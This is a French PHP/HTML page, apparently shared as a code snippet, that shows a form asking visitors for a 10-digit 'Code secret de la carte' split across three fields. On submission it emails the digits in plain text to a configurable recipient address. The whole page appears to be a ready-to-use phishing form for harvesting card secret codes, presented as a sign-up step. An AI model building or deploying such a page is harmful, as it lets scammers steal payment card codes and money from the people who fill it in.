1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211
| <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title></title>
<style type="text/css">
* {
margin:0;
padding:0;
}
FORM {
text-align:right;
}
LABEL {
padding-right:5px;
cursor:pointer;
}
INPUT {
font-size:14px;
margin-top:3px !important; /* Only for FF, Fix IE "bug" */
margin-bottom:3px !important; /* Only for FF, Fix IE "bug" */
margin-top:2px; /* Only for IE, fix IE "bug" */
margin-bottom:2px; /* Only for IE, fix IE "bug" */
}
#content FORM {
margin-bottom:10px;
text-align:left;
}
</style>
<!--[if IE]>
<style type="text/css">
#tarifs {
width:600px;
padding-top:10px;
padding-left:10px;
padding-right:15px;
font-size:10px;
color:#003366;
}
#line_number {
text-align:left;
height:20px;
}
.line {
height:20px;
}
.name {
padding-left:3px;
font-weight:20px;
float:left;
width:280px;
text-align:left;
}
</style>
<![endif]-->
</head>
<body>
<?php
if (isset($_POST["validationForm"]) && $_POST["validationForm"] == "ok") {
// On définit les variables
$pin1 = trim($_POST["pin1"]);
$pin2 = trim($_POST["pin2"]);
$pin3 = trim($_POST["pin3"]);
// On vérifie si les champs sont remplis
if (empty($pin1) || empty($pin2) || empty($pin3))
die("Erreur, merci de ne pas laisser de champ vide.");
// On vérifie que chaque champs comporte bien des entier
if (!is_numeric($pin1) || !is_numeric($pin2) || !is_numeric($pin3))
die("Chaque champs ne doivent comporter que des nombres.");
// On définit le contenu et les headers pour l'envoie du mail
$body = "1er champ: ".$pin1." - 2eme champ: ".$pin2." - 3eme champ: ".$pin3;
$headers = 'From: ' . $NomDeTonSite . ' <' . $EmailDuSite . '>' . "\r\n" .
'Reply-To: ' . $EmailDuSite . '' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
// On envoie le mail
mail($EmailDuDestinataire, "Votre inscription sur " . $NomDeTonSite, $body, $headers);
// On arrête le script
die("Mail envoyé");
} else {
?>
<div id="content">
<form method="post" id="loginForm" action="#" style="width:180px;margin:10px auto">
<input type="hidden" name="validationForm" value="ok">
<div title="Vous pouvez copier-coller votre code entier directement ici">
<label for="pin1" style="display:block;margin-bottom:5px;cursor:pointer" onclick="javascript:resetPincode()" title="Cliquez ici pour vider rapidement les champs">Code secret de la carte :</label>
<input type="text" name="pin1" id="pin1" value="" onkeyup="javascript:pinHelper(1,4)" style="font-size:16px;width:44px" />
<input type="text" name="pin2" id="pin2" value="" onkeyup="javascript:pinHelper(2,3)" style="font-size:16px;width:34px" />
<input type="password" name="pin3" id="pin3" value="" onkeyup="javascript:pinHelper(3,3)" style="font-size:16px;width:34px" />
<input type="submit" value="OK" id="submitButton" />
<input type="hidden" name="jumpedpin1" value="" />
<input type="hidden" name="jumpedpin2" value="" />
<input type="hidden" name="jumpedpin3" value="" />
</div>
</form>
</div>
<script type="text/javascript">
// Init "autocomplete" attribute (XHTML)
document.forms["loginForm"].elements["pin1"].setAttribute("autocomplete","off");
document.forms["loginForm"].elements["pin2"].setAttribute("autocomplete","off");
document.forms["loginForm"].elements["pin3"].setAttribute("autocomplete","off");
function resetPincode() {
document.forms["loginForm"].elements["jumpedpin1"].value = "";
document.forms["loginForm"].elements["jumpedpin2"].value = "";
document.forms["loginForm"].elements["jumpedpin3"].value = "";
document.forms["loginForm"].elements["pin1"].value = "";
document.forms["loginForm"].elements["pin2"].value = "";
document.forms["loginForm"].elements["pin3"].value = "";
document.forms["loginForm"].elements["pin1"].focus();
}
function str_replace(search, replace, subject) {
var result = "";
var oldi = 0;
for (i = subject.indexOf (search); i > -1; i = subject.indexOf(search,i))
{
result += subject.substring (oldi, i);
result += replace;
i += search.length;
oldi = i;
}
return result + subject.substring (oldi, subject.length);
}
function pinHelper(i,n) {
entirePincode = document.forms["loginForm"].elements["pin"+i].value;
// Clean input
entirePincode = str_replace("-","",entirePincode);
entirePincode = str_replace(".","",entirePincode);
entirePincode = str_replace(" ","",entirePincode);
// If user try to cut and paste directly an entire pincode
if (entirePincode.length == 10) {
document.forms["loginForm"].elements["pin1"].value = entirePincode.substring(0,4);
document.forms["loginForm"].elements["pin2"].value = entirePincode.substring(4,7);
document.forms["loginForm"].elements["pin3"].value = entirePincode.substring(7,10);
document.forms["loginForm"].elements["jumpedpin1"].value = "Y";
document.forms["loginForm"].elements["jumpedpin2"].value = "Y";
document.forms["loginForm"].elements["jumpedpin3"].value = "Y";
document.forms["loginForm"].elements["submitButton"].focus();
} else {
// Truncate pin field
if (document.forms["loginForm"].elements["pin"+i].value.length > n) {
document.forms["loginForm"].elements["pin"+i].value = entirePincode.substring(0,n);
}
// Change focus automaticaly - Warning focus() IE behaviour
if (document.forms["loginForm"].elements["pin"+i].value.length == n) {
if (document.forms["loginForm"].elements["jumpedpin"+i].value == "") {
document.forms["loginForm"].elements["jumpedpin"+i].value = "Y";
if (i==3) {
document.forms["loginForm"].elements["submitButton"].focus();
} else {
document.forms["loginForm"].elements["pin"+(i+1)].focus();
}
}
}
}
}
</script>
<?php
}
?>
</body>
</html> |
Partager